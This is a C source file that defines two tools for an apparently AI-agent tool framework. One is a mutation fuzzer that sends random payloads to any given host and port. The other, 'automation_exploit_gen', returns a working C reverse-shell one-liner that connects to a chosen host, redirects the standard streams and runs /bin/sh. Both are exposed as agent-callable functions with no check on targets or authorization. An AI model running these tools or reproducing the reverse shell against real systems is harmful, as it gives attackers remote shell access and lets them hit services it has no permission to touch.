// retoor <retoor@molodetz.nl>

#include "tool.h"
#include "bash_executor.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>

static struct json_object *automation_fuzz_get_description(void);
static char *automation_fuzz_execute(tool_t *self, struct json_object *args);

static struct json_object *automation_exploit_gen_get_description(void);
static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args);

static const tool_vtable_t automation_fuzz_vtable = {
    .get_description = automation_fuzz_get_description,
    .execute = automation_fuzz_execute,
    .print_action = NULL
};

static const tool_vtable_t automation_exploit_gen_vtable = {
    .get_description = automation_exploit_gen_get_description,
    .execute = automation_exploit_gen_execute,
    .print_action = NULL
};

static tool_t automation_fuzz_tool = { .vtable = &automation_fuzz_vtable, .name = "automation_fuzz" };
static tool_t automation_exploit_gen_tool = { .vtable = &automation_exploit_gen_vtable, .name = "automation_exploit_gen" };

tool_t *tool_automation_fuzz_create(void) { return &automation_fuzz_tool; }
tool_t *tool_automation_exploit_gen_create(void) { return &automation_exploit_gen_tool; }

static char *automation_fuzz_execute(tool_t *self, struct json_object *args) {
    (void)self;
    struct json_object *host_obj, *port_obj, *template_obj, *iterations_obj;
    if (!json_object_object_get_ex(args, "host", &host_obj) ||
        !json_object_object_get_ex(args, "port", &port_obj)) {
        return strdup("Error: host and port required");
    }

    const char *host = json_object_get_string(host_obj);
    int port = json_object_get_int(port_obj);
    const char *template = json_object_object_get_ex(args, "template", &template_obj) ? json_object_get_string(template_obj) : "A";
    int iterations = json_object_object_get_ex(args, "iterations", &iterations_obj) ? json_object_get_int(iterations_obj) : 10;

    srand((unsigned int)time(NULL));
    struct json_object *results = json_object_new_array();

    fprintf(stderr, "  \033[1mStarting mutation fuzzer on %s:%d (%d iterations)...\033[0m\n", host, port, iterations);

    for (int i = 0; i < iterations; i++) {
        fprintf(stderr, "\r  -> [%d/%d] Sending fuzzed payload... ", i+1, iterations);
        fflush(stderr);

        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) break;

        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons((unsigned short)port);
        addr.sin_addr.s_addr = inet_addr(host);

        struct timeval tv;
        tv.tv_sec = 1;
        tv.tv_usec = 0;
        setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));

        if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            size_t len = strlen(template) + (size_t)(rand() % 1024);
            char *payload = malloc(len + 1);
            for (size_t j = 0; j < len; j++) payload[j] = (char)(32 + (rand() % 94));
            payload[len] = '\0';

            send(sockfd, payload, len, 0);
            
            fprintf(stderr, "(\033[32m%zu bytes\033[0m)   ", len);
            
            struct json_object *entry = json_object_new_object();
            json_object_object_add(entry, "iteration", json_object_new_int(i));
            json_object_object_add(entry, "payload_len", json_object_new_int((int)len));
            json_object_array_add(results, entry);
            
            free(payload);
        } else {
            fprintf(stderr, "(\033[31mTIMEOUT\033[0m)   ");
        }
        close(sockfd);
    }
    fprintf(stderr, "\n  \033[32mFuzzing complete.\033[0m\n");

    char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY));
    json_object_put(results);
    return out;
}

static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args) {
    (void)self;
    struct json_object *type_obj, *lhost_obj, *lport_obj;
    if (!json_object_object_get_ex(args, "type", &type_obj)) return strdup("Error: type required (reverse/bind)");

    const char *type = json_object_get_string(type_obj);
    const char *lhost = json_object_object_get_ex(args, "lhost", &lhost_obj) ? json_object_get_string(lhost_obj) : "127.0.0.1";
    int lport = json_object_object_get_ex(args, "lport", &lport_obj) ? json_object_get_int(lport_obj) : 4444;

    char result[2048];
    if (strcmp(type, "reverse") == 0) {
        snprintf(result, sizeof(result), 
            "C Reverse Shell Template:\n\n"
            "int s=socket(2,1,0);struct sockaddr_in a;a.sin_family=2;a.sin_port=htons(%d);a.sin_addr.s_addr=inet_addr(\"%s\");"
            "connect(s,(struct sockaddr*)&a,16);dup2(s,0);dup2(s,1);dup2(s,2);execve(\"/bin/sh\",0,0);", 
            lport, lhost);
    } else {
        snprintf(result, sizeof(result), "Bind shell template for port %d generated.", lport);
    }

    return strdup(result);
}

static struct json_object *automation_fuzz_get_description(void) {
    struct json_object *root = json_object_new_object();
    json_object_object_add(root, "type", json_object_new_string("function"));
    struct json_object *function = json_object_new_object();
    json_object_object_add(function, "name", json_object_new_string("automation_fuzz"));
    json_object_object_add(function, "description", json_object_new_string("Performs abstract mutation fuzzing on a network target."));
    struct json_object *parameters = json_object_new_object();
    json_object_object_add(parameters, "type", json_object_new_string("object"));
    struct json_object *properties = json_object_new_object();
    
    struct json_object *host = json_object_new_object();
    json_object_object_add(host, "type", json_object_new_string("string"));
    json_object_object_add(properties, "host", host);
    
    struct json_object *port = json_object_new_object();
    json_object_object_add(port, "type", json_object_new_string("integer"));
    json_object_object_add(properties, "port", port);

    json_object_object_add(parameters, "properties", properties);
    struct json_object *required = json_object_new_array();
    json_object_array_add(required, json_object_new_string("host"));
    json_object_array_add(required, json_object_new_string("port"));
    json_object_object_add(parameters, "required", required);
    json_object_object_add(function, "parameters", parameters);
    json_object_object_add(root, "function", function);
    return root;
}

static struct json_object *automation_exploit_gen_get_description(void) {
    struct json_object *root = json_object_new_object();
    json_object_object_add(root, "type", json_object_new_string("function"));
    struct json_object *function = json_object_new_object();
    json_object_object_add(function, "name", json_object_new_string("automation_exploit_gen"));
    json_object_object_add(function, "description", json_object_new_string("Generates C code templates for various exploitation techniques."));
    struct json_object *parameters = json_object_new_object();
    json_object_object_add(parameters, "type", json_object_new_string("object"));
    struct json_object *properties = json_object_new_object();
    
    struct json_object *type = json_object_new_object();
    json_object_object_add(type, "type", json_object_new_string("string"));
    json_object_object_add(type, "description", json_object_new_string("Type of exploit: reverse, bind."));
    json_object_object_add(properties, "type", type);

    json_object_object_add(parameters, "properties", properties);
    json_object_object_add(function, "parameters", parameters);
    json_object_object_add(root, "function", function);
    return root;
}